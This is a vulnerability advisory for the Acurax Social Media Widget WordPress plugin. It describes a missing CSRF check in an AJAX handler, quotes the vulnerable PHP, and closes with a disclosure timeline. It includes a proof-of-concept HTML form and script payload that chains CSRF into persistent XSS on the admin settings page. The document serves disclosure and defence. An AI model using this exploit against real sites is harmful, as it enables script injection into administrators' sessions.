Social Media Widget by Acurax [CSRF]

Description

Plugin implements AJAX action acx_asmw_saveorder which calls back the function acx_asmw_saveorder_callback. The later does not implement any anti-CSRF controls thus allowing a malicious actor to perform an attack that could update plugin specific option social_widget_icon_array_order.

Vulnerable param is $_POST['recordsArray'] and it is saved as an option with the name social_widget_icon_array_order.

Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will be served when a user with the right privileges visits plugin’s settings page (wp-admin/admin.php?page=Acurax-Social-Widget-Settings).

Vulnerable code is located in file acurax-social-media-widget/function.php line 993:

function acx_asmw_saveorder_callback() {
    global $wpdb;
    $social_widget_icon_array_order = $_POST['recordsArray'];
    if ( current_user_can( 'manage_options' ) ) {
        $social_widget_icon_array_order = serialize( $social_widget_icon_array_order );
        update_option( 'social_widget_icon_array_order', $social_widget_icon_array_order );
        echo "<div id='acurax_notice' align='center' style='width: 420px; font-family: arial; font-weight: normal; font-size: 22px;'>";
        echo "Social Media Icon's Order Saved";
        echo "</div><br>";
    }
    die(); // this is required to return a proper result
}

add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' );

PoC

In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent XSS attack. The payload is available in plugin’s settings.

<form method="post" action="http://vuln.test/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="acx_asmw_saveorder">
    <input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>">
    <button type="submit" value="Submit">Submit</button>
</form>


INFO
TIMELINE
  • 2017-12-12:
    Discovered
  • 2017-12-12:
    Tried to contact plugin's vendor through the contact form on their website
  • 2017-12-12:
    Vendor replied
  • 2017-12-12:
    Vendor Received Details
  • 2018-01-02:
    Patch released
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